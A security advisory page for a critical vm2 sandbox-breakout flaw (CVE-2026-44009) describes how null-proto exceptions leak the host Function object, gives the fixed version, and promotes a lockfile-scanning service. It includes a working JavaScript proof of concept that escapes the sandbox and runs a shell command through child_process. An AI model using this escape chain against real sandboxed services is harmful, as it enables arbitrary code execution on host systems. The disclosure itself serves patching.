CriticalGHSA-9vg3-4rfj-wgcmCVE-2026-44009

vm2 has Sandbox Breakout Through Null Proto Exception

Published 8 May 2026 · Updated 14 May 2026

Affected package

vm2npm
Affected
<3.11.2
Fixed in
3.11.2
Update to the fixed version for your release line, for example:npm install vm2@3.11.2

Details

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

In handleException due to `// SECURITY (post-GHSA-mpf8 hardening): use from (not ensureThis) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function` object.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
	throw o;
} catch (e) {
	e.f = Buffer.prototype.inspect
	o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Is GHSA-9vg3-4rfj-wgcm in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vm2, and gives you the command that fixes it.

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.